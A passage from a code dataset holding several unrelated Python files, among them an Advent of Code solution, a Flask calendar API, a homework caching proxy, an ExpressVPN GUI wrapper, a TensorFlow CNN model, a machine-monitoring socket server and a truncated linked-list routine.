ID of the guard you chose multiplied by the minute you chose? (In the above example,\n# the answer would be 10 * 24 = 240.)\n\n\ndef calculate():\n input_file = open(\"input.txt\", \"r\")\n sleep_schedule = input_file.readlines()\n input_file.close()\n\n sleep_schedule.sort()\n sleep_log = {}\n current_log = []\n\n for schedule_entry in sleep_schedule:\n date = schedule_entry[1:11]\n minute = schedule_entry[15:17]\n\n entry_type = schedule_entry[19:24].strip()\n\n if entry_type == \"Guard\":\n guard_id = re.search('#(\\d+)\\s', schedule_entry).group(1)\n\n sleep_log\n if guard_id in sleep_log:\n current_log = sleep_log.get(guard_id)\n else:\n current_log = [0 for i in range(60)]\n\n elif entry_type == \"falls\":\n sleep_start = int(minute)\n\n elif entry_type == \"wakes\":\n sleep_end = int(minute)\n\n for current_minute in range(sleep_start - 1, sleep_end - 1):\n current_log[current_minute] = current_log[current_minute] + 1\n\n sleep_log[guard_id] = current_log\n print(\" \", tens)\n print(\"minute: \", minutes)\n for key in sleep_log.keys():\n print(\"Sleep_log: \", sleep_log.get(key))\n\n return sleep_log\n\n\ndef part_one():\n\n sleep_log = calculate()\n\n guard_data = [0, 0, 0, 0] # [Guard_id, sleep_tine, max_for_a_minute]\n for key in sleep_log.keys():\n entry_data = sleep_log.get(key)\n sleep_count = sum(entry_data)\n if sleep_count > guard_data[1]:\n guard_data[0] = key\n guard_data[1] = sleep_count\n guard_data[2] = max(entry_data)\n guard_data[3] = entry_data.index(guard_data[2]) + 1\n\n print(\"The guard that sleep the most is: \", guard_data[0], \"with: \", guard_data[1], \"minutes and a maximum of \", guard_data[2], \"at minute \", guard_data[3], \"=> the answer is:\", guard_data[0] * guard_data[3])\n\n# --- Part Two ---\n# Strategy 2: Of all guards, which guard is most frequently asleep on the same minute?\n#\n# In the example above, Guard #99 spent minute 45 asleep more than any other guard or minute - three times in total.\n# # (In all other cases, any guard spent any minute asleep at most twice.)\n#\n# What is the ID of the guard you chose multiplied by the minute you chose?\n# (In the above example, the answer would be 99 * 45 = 4455.)\n\n\ndef part_two():\n sleep_log = calculate()\n\n guard_data = [0, 0, 0, 0] # [Guard_id, sleep_tine, max_for_a_minute]\n for key in sleep_log.keys():\n entry_data = sleep_log.get(key)\n sleep_max = max(entry_data)\n if sleep_max > guard_data[2]:\n guard_data[0] = key\n guard_data[1] = 0\n guard_data[2] = max(entry_data)\n guard_data[3] = entry_data.index(guard_data[2]) + 1\n\n print(\"The guard that sleep the most is: \", guard_data[0], \"with a maximum of \", guard_data[2], \"at minute \",\n guard_data[3], \"=> the answer is:\", int(guard_data[0]) * int(guard_data[3]))\n\n#part_one()\npart_two()","sub_path":"2018/dayFour/dayFour.py","file_name":"dayFour.py","file_ext":"py","file_size_in_byte":7369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"86878905","text":"# coding: utf-8\n\"\"\"\n ios::calendars.py\n `````````````````\n\n 校历API::IOS版\n\n :MAINTAINER: neo1218\n :OWNER: muxistudio\n\"\"\"\n\nimport json\nfrom . import api\nfrom .. import rds, qiniu\nfrom .decorators import admin_required\nfrom flask import jsonify, request\n\n\n# placeholder\nrds.hset('ios_calendars', '_placeholder', '_placeholder')\n\n\n@api.route('/ios/calendar/', methods=['GET'])\ndef get_ios_calendar():\n \"\"\" (ios版)\n :function: get_ios_calendar\n :args: none\n :rv: calendar json info\n\n redis1(6384):\n key: -\n value: size\n\n 返回校历信息\n \"\"\"\n if rds.hlen('ios_calendars') == 1:\n return jsonify({}), 404\n else:\n calendar = rds.hgetall('ios_calendars')\n for filename in calendar:\n if filename != '_placeholder':\n try:\n update = qiniu.info(filename)['putTime']\n except KeyError:\n update = qiniu.info(filename)\n return jsonify({\n \"img\": qiniu.url(filename),\n \"filename\": filename,\n \"update\": update,\n 'size': calendar.get(filename),\n }), 200\n\n\n@api.route('/ios/calendar/', methods=['POST'])\n@admin_required\ndef new_ios_calendar():\n \"\"\" (ios版)\n :function: new_ios_calendar\n :args: none\n :rv: json message\n\n 上传一个新的校历\n \"\"\"\n if request.method == 'POST':\n img = request.get_json().get('img')\n size = request.get_json().get('size')\n\n calendar = rds.hgetall('ios_calendars')\n for filename in calendar:\n if filename != '_placeholder':\n rds.hdel('ios_calendars', filename)\n rds.hset('ios_calendars', img, size)\n rds.save()\n\n return jsonify({}), 201\n","sub_path":"restccnu/apis/ios_calendars.py","file_name":"ios_calendars.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"441024653","text":"__author__ = 'alan'\n\n\nclass Solution:\n # @param {integer[]} nums\n # @return {integer}\n def jump(self, nums):\n l, r, step = 0, 0, 0\n while r < len(nums) - 1:\n if l > r:\n return -1\n step, far = step + 1, r\n for j in range(l, r + 1):\n far = max(far, j + nums[j])\n l, r = r + 1, far\n return step\n\nif __name__ == \"__main__\":\n nums = [1, 2, 1, 1, 1]\n sol = Solution()\n print(sol.jump(nums))","sub_path":"JumpGame2.py","file_name":"JumpGame2.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"488670069","text":"from socket import *\nimport sys\nimport re\n\ndef main():\n if len(sys.argv) <= 1:\n print(\"Usage : \\\"python ProxyServer.py \\\"\")\n print(\" is the IP address of the proxy server (localhost)\")\n sys.exit(2)\n serverSocket = socket(AF_INET, SOCK_STREAM)\n serverSocket.bind((\"\", 8888))\n serverSocket.listen(1)\n while True:\n print(\"Ready to serve...\")\n clientSocket, addr = serverSocket.accept()\n print(\"Received a connection from:\\n\\t{}\".format(addr))\n message = clientSocket.recv(1024).decode(\"utf-8\")\n if re.match(r\"sophosxl\", message): pass\n elif re.match(r\"^GET \", message): handleGETReq(message, clientSocket)\n else: pass\n clientSocket.close()\n\ndef handleGETReq(message, connectionSocket):\n message_list = message.split()\n url = message_list[1]\n url = re.sub(r\"https?://\", \"\", url)\n domain = url[:url.find(\"/\")]\n file = url[url.find(\"/\"):]\n cachefile = re.sub(r\"/\", \"_slash_\", url)\n cachefile = \"{}\".format(hash(url))\n try:\n with open(\"cache/\" + cachefile, \"r\") as f:\n print(\"Serving cached file...\")\n c = f.readlines()\n for t in c:\n if \"Content-Length\" in t:\n length = int(t.split()[1]) + 32\n t = \"Content-Length: {}\".format(length)\n connectionSocket.send(t.encode())\n except IOError:\n try:\n print(\"Requesting file from server...\")\n request = \"GET {file} HTTP/1.1\\r\\nHost: {host}:{port}\\r\\n\\r\\n\" \\\n .format(file=file, host=domain, port=80)\n sock = socket(AF_INET, SOCK_STREAM)\n sock.connect((domain, 80))\n sock.send(request.encode(\"utf-8\"))\n response = b\"\"\n while True:\n data = sock.recv(2048)\n response += data\n if not data:\n break\n response = response.decode(\"utf-8\")\n sock.close()\n pink_background = \"\"\n response = re.sub(r\"\", pink_background, response)\n with open(\"cache/\" + cachefile ,\"w\") as new_file:\n new_file.write(response)\n except:\n print(\"Illegal request\")\n\nif __name__==\"__main__\":\n main()\n","sub_path":"hw-7/ProxyServerStarter.py","file_name":"ProxyServerStarter.py","file_ext":"py","file_size_in_byte":2351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"92309934","text":"from dataImport import ImportData\nfrom plotLine import PlotLine\nimport numpy as np\nclass ImportLTSpiceData (ImportData):\n y = []\n x = []\n titleC=None\n def __init__(self,file):\n self.file=file\n cLine = 0;\n with open(self.file, 'r') as fichier:\n line = fichier.readline()\n\n # Compte le nombre de donnees\n while (line != \"\"):\n cLine += 1\n line = fichier.readline()\n\n\n # *******************reouverture du flux d'entree\n with open(self.file, 'r') as fichier:\n line = fichier.readline()\n self.titleC = line.split(\"\\t\")\n nbrElement = len(self.titleC)\n\n line = fichier.readline()\n y = []\n x = []\n\n for i in range(nbrElement):\n y.append([])\n x.append([])\n\n # donnees[0]=line.split(\"\\t\")\n # devut des nombre\n\n for i in range(cLine):\n s = line.split(\"\\t\")\n s = np.array(s)\n\n if len(s) != nbrElement:\n break;\n # s.shape=(1,nbrElement);\n for i in range(1, nbrElement):\n x[i].append(float(s[0]))\n y[i].append(float(s[i]))\n\n line = fichier.readline()\n self.x=x[1:]\n self.y=y[1:]\n self.titleC=self.titleC[1:]\n def getTitles(self):\n return self.titleC\n\n def get_plot_lines(self):\n lines=[]\n for i in range(len(self.x)):\n line = PlotLine(xdata=self.x[i],ydata=self.y[i])\n line.set_legend(self.getTitles()[i])\n lines.append(line)\n return lines\n","sub_path":"importLtSpiceData.py","file_name":"importLtSpiceData.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"637179073","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.5 (3350)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: express/express4.py\n# Compiled at: 2017-08-29 03:50:41\n# Size of source mod 2**32: 6714 bytes\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import QIcon, QPixmap\nfrom PyQt5 import uic\nimport subprocess, urllib.request, urllib.parse, urllib.error, pandas as pd, sys, os\n\nclass MainWindow(QMainWindow):\n\n def __init__(self):\n super(MainWindow, self).__init__()\n self.path = os.path.dirname(os.path.abspath(__file__))\n self.files = self.path + '/files/'\n uic.loadUi(self.path + '/design2.ui', self)\n self.setWindowIcon(QIcon(self.files + 'expressvpn3.png'))\n self.configuration()\n self.tray()\n self.create_serverlist()\n self.server_combo()\n self.checkstatus()\n self.statusdetail()\n self.seticon()\n self.autoconnect()\n self.showapp()\n self.check_network()\n self.version()\n\n def configuration(self):\n self.settings = QSettings(self.path + '/' + 'setting.ini', QSettings.IniFormat)\n self.settings.setFallbacksEnabled(False)\n self.autoconn = self.settings.value('auto')\n self.showapp2 = self.settings.value('showapp')\n if self.autoconn == 'true':\n self.settings.setValue('auto', self.chB_auto.setChecked(True))\n if self.showapp2 == 'true':\n self.settings.setValue('showapp', self.chB_showapp.setChecked(True))\n\n def tray(self):\n self.tray_icon = QSystemTrayIcon(self)\n self.tray_icon.setIcon(self.style().standardIcon(QStyle.SP_ComputerIcon))\n self.tray_icon.show()\n self.tray_icon.setIcon(QIcon(self.files + 'expressvpn3.png'))\n show_action = QAction('Show', self)\n hide_action = QAction('Hide', self)\n disconnect_action = QAction('Disconnect', self)\n checkstatus_action = QAction('Status', self)\n quit_action = QAction('Exit', self)\n show_action.triggered.connect(self.show)\n hide_action.triggered.connect(self.hide)\n disconnect_action.triggered.connect(self.disconnect)\n checkstatus_action.triggered.connect(self.statusdetail)\n quit_action.triggered.connect(qApp.quit)\n tray_menu = QMenu()\n tray_menu.addAction(show_action)\n tray_menu.addAction(hide_action)\n tray_menu.addSeparator()\n tray_menu.addAction(checkstatus_action)\n tray_menu.addAction(disconnect_action)\n tray_menu.addSeparator()\n tray_menu.addAction(quit_action)\n self.tray_icon.setContextMenu(tray_menu)\n self.tray_icon.show()\n\n def create_serverlist(self):\n self.server = pd.read_csv(self.files + 'express.csv')\n self.server = self.server.set_index(['alias'])\n self.server = self.server.sort_index()\n self.server['path'] = self.files\n self.server['icon2'] = self.server['path'] + self.server['icon']\n\n def server_combo(self):\n self.create_serverlist()\n self.subset = self.server[['location', 'icon2']]\n self.tuples = [tuple(x) for x in self.subset.values]\n for i in self.tuples:\n text, icon = i[0], i[1]\n self.cB_Server.addItem(QIcon(icon), text)\n\n self.combo_loc = str(self.cB_Server.currentText())\n self.combo_alias = self.server[(self.server.location == self.combo_loc)].index[0]\n\n def checkstatus(self):\n statuscheck = '/usr/bin/expressvpn status'\n self.stdoutdata = subprocess.getoutput(statuscheck)\n self.conn = self.stdoutdata.startswith('Connected')\n return self.conn\n\n def statusdetail(self):\n self.checkstatus()\n if self.conn:\n self.status_loc = self.stdoutdata[13:]\n self.status_alias = self.server[(self.server.location == self.status_loc)].index[0]\n self.status_loc = self.server.ix[(self.status_alias, 'location')]\n self.status_icon = self.server.ix[(self.status_alias, 'icon2')]\n self.lb_status.setText('VPN OK')\n else:\n self.status_loc = 'no vpn connection'\n self.status_icon = self.files + 'novpn1.png'\n self.lb_status.setText('No VPN')\n self.tray_icon.showMessage('ExpressVPN Status', self.status_loc, QSystemTrayIcon.Information, 2000)\n self.seticon()\n\n def seticon(self):\n pixmap = QPixmap(self.status_icon)\n self.lb_conn_icon.setPixmap(pixmap)\n self.lb_conn.setText(self.status_loc)\n self.tray_icon.setIcon(QIcon(self.status_icon))\n self.setWindowIcon(QIcon(self.status_icon))\n\n def connect(self):\n self.server_combo()\n if self.conn:\n os.system('/usr/bin/expressvpn disconnect')\n os.system('/usr/bin/expressvpn connect ' + self.combo_alias)\n else:\n os.system('/usr/bin/expressvpn connect ' + self.combo_alias)\n self.checkstatus()\n self.statusdetail()\n self.seticon()\n\n def autoconnect(self):\n if self.chB_auto.isChecked():\n os.system('/usr/bin/expressvpn connect defr1')\n self.checkstatus()\n self.statusdetail()\n self.seticon()\n\n def disconnect(self):\n os.system('/usr/bin/expressvpn disconnect')\n self.checkstatus()\n self.statusdetail()\n self.seticon()\n\n def check_network(self):\n try:\n urllib.request.urlopen('http://www.google.com', timeout=1)\n self.lb_internet.setText('Internet OK')\n return True\n except urllib.error.URLError as e:\n self.lb_internet.setText('No Internet')\n self.lb_status.setText('Try to connect internet')\n return False\n\n def version(self):\n stdoutdata = subprocess.getoutput('/usr/bin/expressvpn -v')\n self.lb_version.setText(stdoutdata)\n\n def showapp(self):\n if self.chB_showapp.isChecked():\n self.hide()\n else:\n self.show()\n\n @pyqtSlot()\n def on_btn_connect_clicked(self):\n self.connect()\n\n @pyqtSlot()\n def on_btn_disconnect_clicked(self):\n self.disconnect()\n\n @pyqtSlot()\n def on_btn_status_clicked(self):\n self.statusdetail()\n\n def closeEvent(self, e):\n self.settings.setValue('auto', self.chB_auto.isChecked())\n self.settings.setValue('showapp', self.chB_showapp.isChecked())\n e.ignore()\n self.hide()\n self.tray_icon.showMessage('ExpressVPN', 'Application was minimized to Tray', QSystemTrayIcon.Information, 2000)\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n myapp = MainWindow()\n myapp.hide()\n sys.exit(app.exec_())","sub_path":"pycfiles/expressgui-1.0.1.tar/express4.cpython-35.py","file_name":"express4.cpython-35.py","file_ext":"py","file_size_in_byte":6773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"452741389","text":"# coding=utf-8\n\nimport tensorflow as tf\nimport numpy as np\nfrom scipy.stats import multivariate_normal\nfrom math import ceil, pow\nfrom Project.models import model_base as base\n\n\nclass Model03(base.Model):\n def __init__(self, image_store, dataset_name, epoc_count=2000, init_w=tf.ones):\n base.Model.__init__(\n self,\n image_store=image_store,\n model_name='model3_' + dataset_name,\n epoc_count=epoc_count,\n init_w=init_w)\n\n @staticmethod\n def conv2d(x, w):\n return tf.nn.conv2d(x, w, strides=[1, 2, 2, 1], padding='SAME')\n\n @staticmethod\n def max_pool_2x2(x, name):\n return tf.nn.max_pool(\n x,\n name=name,\n ksize=[1, 4, 4, 1],\n strides=[1, 2, 2, 1],\n padding='SAME')\n\n @staticmethod\n def create_strip_images_of_conv_func(x, img_rows, img_cols, channels, img_count):\n img_row_count = img_rows * channels\n img_col_count = img_cols * img_count\n\n data = np.zeros(shape=[img_row_count, img_col_count], dtype=np.float32)\n for image_index in range(img_count):\n full_layered_image = np.array(x[image_index])\n for layered_image_index in range(channels):\n layered_image = full_layered_image[:, :, layered_image_index]\n\n col_index = image_index\n col_begin = col_index * img_cols\n col_end = (col_index + 1) * img_cols\n\n row_index = layered_image_index\n row_begin = row_index * img_rows\n row_end = (row_index + 1) * img_rows\n\n data[row_begin:row_end, col_begin:col_end] = layered_image\n\n data = data.reshape([1, img_row_count, img_col_count, 1])\n\n return data\n\n def add_image(self, input_image, name, img_count=10):\n img_rows, img_cols, img_channels = input_image.shape[1],input_image.shape[2],input_image.shape[3]\n image = tf.py_func(\n func=self.create_strip_images_of_conv_func,\n inp=[input_image, img_rows, img_cols, img_channels, img_count],\n Tout=tf.float32,\n name='py_func-{0}-{1}'.format(name, img_count))\n img_summary = tf.summary.image(name, image, max_outputs=1)\n self.train_summary_list.append(img_summary)\n\n def create_conv2d_layer(self, image, weight_row_size, weight_col_size, prev_channels, channels, name):\n with tf.name_scope(name):\n w = self.weight_variable(\n name='{0}-weight'.format(name),\n shape=[weight_row_size, weight_col_size, prev_channels, channels],\n initial_distribution_fn=self.init_w)\n\n b = self.bias_variable(\n shape=[channels],\n name='{0}-weight'.format(name))\n\n conv = self.conv2d(image, w) + b\n self.add_image(\n input_image=conv,\n name='{0}-conv'.format(name),\n img_count=10)\n\n self.add_image(\n input_image=conv,\n name='{0}-conv'.format(name),\n img_count=2)\n\n relu = tf.nn.relu(\n features=conv,\n name='{0}-relu'.format(name))\n\n self.add_image(\n input_image=relu,\n name='{0}-relu'.format(name),\n img_count=10)\n self.add_image(\n input_image=relu,\n name='{0}-relu'.format(name),\n img_count=2)\n\n result = self.max_pool_2x2(\n relu,\n name='{0}-maxpool'.format(name))\n\n self.add_image(\n input_image=result,\n name='{0}-maxpool'.format(name),\n img_count=10)\n self.add_image(\n input_image=result,\n name='{0}-maxpool'.format(name),\n img_count=2)\n\n return result\n\n def calculate_img_rows(self, iteration):\n return int(ceil(self.img_rows() / pow(4., iteration)))\n\n def calculate_img_cols(self, iteration):\n return int(ceil(self.img_cols() / pow(4., iteration)))\n\n\n\n\n def build_y(self, x):\n filter_size = 3\n x_image = tf.reshape(x, [-1, self.img_rows(), self.img_cols(), self.img_depth()])\n\n iteration = 0\n\n # channel 1\n iteration += 1\n prev_channels = self.img_depth()\n channels = prev_channels * filter_size\n\n layer01 = self.create_conv2d_layer(\n image=x_image,\n weight_row_size=8,\n weight_col_size=8,\n prev_channels=prev_channels,\n channels=channels,\n name='layer01')\n\n # channel 2\n iteration += 1\n prev_channels = channels\n channels = prev_channels * filter_size\n layer02 = self.create_conv2d_layer(\n image=layer01,\n weight_row_size=8,\n weight_col_size=8,\n prev_channels=prev_channels,\n channels=channels,\n name='layer02')\n\n # make linear\n img_rows = self.calculate_img_rows(2)\n img_cols = self.calculate_img_cols(2)\n layer02_flat = tf.reshape(layer02, [-1, img_rows * img_cols * channels])\n\n result = self.create_cnn_layer(\n input_tensor=layer02_flat,\n input_dim=img_rows * img_cols * channels,\n output_dim=self.image_store.img_classifications,\n layer_name='',\n act=tf.nn.relu,\n weight_initial_distribution_fn=self.init_w)\n\n return result\n","sub_path":"Studies/UP/MIT/COS801/PyCharm/Project/models/model_03.py","file_name":"model_03.py","file_ext":"py","file_size_in_byte":5558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"313344845","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 2 21:25:29 2020\n\n@author: viktor\n\"\"\"\n\na=int(input(\"\"))\nn=a\nif n<=0:\n print(\"False\")\nelse:\n for m in range(n+1,1,-1):\n b=0\n for x in range (1,m):\n b= b + x\n print (b)","sub_path":"sesion_4/python_ej26.py","file_name":"python_ej26.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"358921605","text":"\n# -*- coding:utf-8 -*-\n# @Time :2019/4/8 14:07\n# @Author :Tester_Liang\n# @Email :649626809@qq.com\n# @File :read_config.py\n# @software :PyCharm\nimport configparser\nfrom BusProject.Linebus_Platform_API.common.MyLog import MyLogs\n\n\nclass Read_Config:\n\n def read_config(self, filename, section, option):\n cf = configparser.ConfigParser()\n try:\n cf.read(filename)\n except Exception as e:\n MyLogs().error(\"打开配置文件异常:{0}\".format(e))\n else:\n try:\n res = cf.get(section, option)\n except Exception as e:\n MyLogs().error(\"读取配置文件失败{0}\".format(e))\n return res\n","sub_path":"UBTAutotest_Linebus_Platform_0708/BusProject/Linebus_Platform_API/common/read_config.py","file_name":"read_config.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"382005788","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('drip', '0001_initial'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='drip',\n name='reply_to',\n field=models.EmailField(blank=True, max_length=254, help_text='Set a custom reply-to email.', null=True),\n ),\n migrations.AddField(\n model_name='sentdrip',\n name='reply_to',\n field=models.EmailField(default=None, max_length=254, null=True),\n ),\n ]\n","sub_path":"drip/migrations/0002_auto_20151230_0553.py","file_name":"0002_auto_20151230_0553.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"400220910","text":"#!/usr/bin/python3\nimport os\nimport socket\nimport time\nimport logging\nimport queue\n\nfrom server_parameters import *\nfrom server_package.Machine import Machine\n# from server_package.RebootMachine import RebootMachine\nfrom server_package.LoggerFormatter import ColoredLogger\nfrom server_package.CopyLogs import CopyLogs\n\n\ndef start_copying():\n server_logs_path = \"logs/\"\n if os.path.exists(server_logs_path) is False:\n os.mkdir(server_logs_path)\n\n formatter = logging.Formatter(fmt='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n datefmt='%d-%m-%y %H:%M:%S')\n # create logger with 'spam_application'\n fh = logging.FileHandler(f\"{server_logs_path}/copy.log\", mode='a')\n fh.setFormatter(formatter)\n logger = logging.getLogger()\n logger.setLevel(logging.DEBUG)\n logger.addHandler(fh)\n\n copy_obj = CopyLogs(machines=MACHINES,\n sleep_copy_interval=COPY_LOG_INTERVAL,\n destination_folder=server_logs_path,\n logger_name=None,\n to_copy_folder=\"/var/radiation-benchmarks/log/\")\n copy_obj.start()\n\n return copy_obj\n\n\ndef generate_machine_hash(messages_queue):\n \"\"\"\n Generate the objects for the devices\n :return:\n \"\"\"\n machines_hash = dict()\n for mac in MACHINES:\n if mac[\"enabled\"]:\n mac_obj = Machine(\n ip=mac[\"ip\"],\n diff_reboot=mac[\"diff_reboot\"],\n hostname=mac[\"hostname\"],\n power_switch_ip=mac[\"power_switch_ip\"],\n power_switch_port=mac[\"power_switch_port\"],\n power_switch_model=mac[\"power_switch_model\"],\n messages_queue=messages_queue,\n sleep_time=MACHINE_CHECK_SLEEP_TIME,\n logger_name=LOGGER_NAME,\n boot_problem_max_delta=BOOT_PROBLEM_MAX_DELTA,\n reboot_sleep_time=REBOOTING_SLEEP\n # RebootMachine=RebootMachine\n )\n\n machines_hash[mac[\"ip\"]] = mac_obj\n mac_obj.start()\n return machines_hash\n\n\ndef logging_setup():\n \"\"\"\n Logging setup\n :return: logger\n \"\"\"\n # create logger with 'spam_application'\n logger = logging.getLogger(LOGGER_NAME)\n logger.setLevel(logging.DEBUG)\n # create file handler which logs even debug messages\n fh = logging.FileHandler(LOG_FILE, mode='a')\n fh.setLevel(logging.INFO)\n # create formatter and add it to the handlers\n formatter = logging.Formatter(fmt='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n datefmt='%d-%m-%y %H:%M:%S')\n fh.setFormatter(formatter)\n logger.addHandler(fh)\n\n # create console handler with a higher log level for console\n console = ColoredLogger(LOGGER_NAME)\n\n # add the handlers to the logger\n # noinspection PyTypeChecker\n logger.addHandler(console)\n return logger\n\n\ndef main():\n \"\"\"\n Main function\n :return: None\n \"\"\"\n # log format\n logger = logging_setup()\n\n # copy obj and logging\n copy_obj = start_copying()\n\n # Queue to print the messages in a good way\n messages_queue = queue.Queue()\n\n # safe check for socket\n client_socket = None\n\n # attach signal handler for CTRL + C\n try:\n # Start the server socket\n # Create an INET, STREAMing socket\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:\n # Bind the socket to a public host, and a well-known port\n server_socket.bind((SERVER_IP, SOCKET_PORT))\n\n # Initialize a list that contains all Machines\n machines_hash = generate_machine_hash(messages_queue)\n\n logger.info(f\"\\tServer bind to: {SERVER_IP}\")\n # Become a server socket\n # TODO: find the correct value for backlog parameter\n server_socket.listen(15)\n\n while True:\n # Accept connections from outside\n client_socket, address_list = server_socket.accept()\n address = address_list[0]\n\n # Set new timestamp\n timestamp = time.time()\n machines_hash[address].set_timestamp(timestamp=timestamp)\n\n # Close the connection\n client_socket.close()\n logger.debug(f\"\\tConnection from {address} machine {machines_hash[address].get_hostname()}\")\n except KeyboardInterrupt:\n # Stop mac objects\n for mac_obj in machines_hash.values():\n mac_obj.join()\n\n # Close client socket\n if client_socket:\n client_socket.close()\n\n # Stop copy thread\n copy_obj.join()\n\n logger.error(\"KeyboardInterrupt detected, exiting gracefully!( at least trying :) )\")\n exit(130)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"scripts/remote_sock_server4.0.0.py","file_name":"remote_sock_server4.0.0.py","file_ext":"py","file_size_in_byte":4865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"652395621","text":"\n#+ echo=False\nimport os\nimport numpy\n\nfrom biobakery_workflows import utilities, visualizations, files\n\nfrom anadama2 import PweaveDocument\n\ndocument=PweaveDocument() \n\n# get the variables for this document generation task\nvars = document.get_vars()\n\n# determine the document format\npdf_format = True if vars[\"format\"] == \"pdf\" else False\n\n# read in the DNA samples\n(dna_paired_columns, dna_orphan_columns), dna_samples, (dna_paired_data, dna_orphan_data) = visualizations.qc_read_counts(document, vars[\"dna_read_counts\"])\n\n\n#' # Quality Control\n\n#' <% visualizations.ShotGun.print_qc_intro_caption(len(dna_samples), dna_paired_columns[2:], paired=True) %>\n\n#' ## DNA Samples Quality Control\n\n#' ### DNA Samples Tables of Filtered Reads\n\n#+ echo=False\n\n# create a table of the paired counts\ndocument.write_table([\"# Sample\"]+dna_paired_columns, dna_samples, dna_paired_data,\n files.ShotGunVis.path(\"qc_counts_paired\",document.data_folder))\n\ntable_message=visualizations.show_table_max_rows(document, dna_paired_data, dna_samples,\n dna_paired_columns, \"DNA Paired end reads\", files.ShotGunVis.path(\"qc_counts_paired\"),\n format_data_comma=True)\n \n#' <%= table_message %>\n\n#+ echo=False\n\n# create a table of the orphan counts\ndocument.write_table([\"# Sample\"]+dna_orphan_columns, dna_samples, dna_orphan_data,\n files.ShotGunVis.path(\"qc_counts_orphan\",document.data_folder))\n\ntable_message=visualizations.show_table_max_rows(document, dna_orphan_data, dna_samples,\n dna_orphan_columns, \"DNA Orphan reads\", files.ShotGunVis.path(\"qc_counts_orphan\"),\n format_data_comma=True)\n \n#' <%= table_message %> \n\n#+ echo=False\n# plot the microbial reads ratios \ndna_microbial_reads, dna_microbial_labels = utilities.microbial_read_proportion_multiple_databases(\n dna_paired_data, dna_paired_columns, dna_orphan_data)\n\n# create a table of the microbial reads\ndocument.write_table([\"# Sample\"]+dna_microbial_labels, dna_samples, \n dna_microbial_reads, files.ShotGunVis.path(\"microbial_counts\",document.data_folder))\n\ntable_message=visualizations.show_table_max_rows(document, dna_microbial_reads, dna_samples,\n dna_microbial_labels, \"DNA microbial read proportion\",\n files.ShotGunVis.path(\"microbial_counts\")) \n \n#' <%= visualizations.ShotGun.captions[\"microbial_ratios\"] %> \n \n#' <%= table_message %>\n \n#' ### DNA Samples Plots of Filtered Reads\n\n#+ echo=False\n# sort the samples/data by read count with the largest original read count first\ndef sort_samples_reads_decreasing(read_data, read_samples):\n \"\"\" Sort the reads from largest to smallest total read count \"\"\"\n \n sorted_samples, sorted_total_reads = utilities.sort_data(read_data[0], read_samples)\n sorted_all_read_data = []\n for data_set in read_data:\n sorted_all_read_data.append([data_set[read_samples.index(sample)] for sample in sorted_samples])\n \n return sorted_samples, sorted_all_read_data\n\nsorted_samples, sorted_all_read_data = sort_samples_reads_decreasing(numpy.transpose(dna_paired_data), dna_samples)\n\ndocument.plot_grouped_barchart(sorted_all_read_data, row_labels=dna_paired_columns, \n column_labels=sorted_samples, title=\"DNA Paired end reads\", ylabel=\"Read count (in millions)\",\n legend_title=\"Filter\", yaxis_in_millions=True)\n\n#+ echo=False\nsorted_samples, sorted_all_read_data = sort_samples_reads_decreasing(numpy.transpose(dna_orphan_data), dna_samples)\n\ndocument.plot_grouped_barchart(sorted_all_read_data, row_labels=dna_orphan_columns, \n column_labels=sorted_samples, title=\"DNA Orphan reads\", ylabel=\"Read count (in millions)\",\n legend_title=\"Filter\", yaxis_in_millions=True)\n\n\n\n\n\n","sub_path":"biobakery_workflows/document_templates/quality_control_paired_dna.template.py","file_name":"quality_control_paired_dna.template.py","file_ext":"py","file_size_in_byte":3669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"207835674","text":"class Node:\n def __init__(self, x):\n self.val = x\n self.next = None\n\ndef getCount(head):\n c = 0\n temp = head\n while temp:\n c += 1\n temp = temp.next\n return c\n\ndef push(head, new_data):\n new_node = Node(new_data)\n new_node.next = head\n head = new_node\n return head\n\ndef getIntersection(head1, head2):\n d1 = getCount(head1)\n d2 = getCount(head2)\n temp1 = head1; temp2 = head2\n if d1 > d2:\n i = 0\n while i < d1 - d2:\n temp1 = temp1.next\n i += 1\n elif d2 > d1:\n i = 0\n while i < d2 - d1:\n temp2 = temp2.next\n i += 1\n while temp1.next is not None and temp2.next is not None:\n if temp1.val == temp2.val:\n return temp1.val\n temp1 = temp1.next\n temp2 = temp2.next\n return -1\n\ndef printList(head):\n temp = head\n while temp:\n 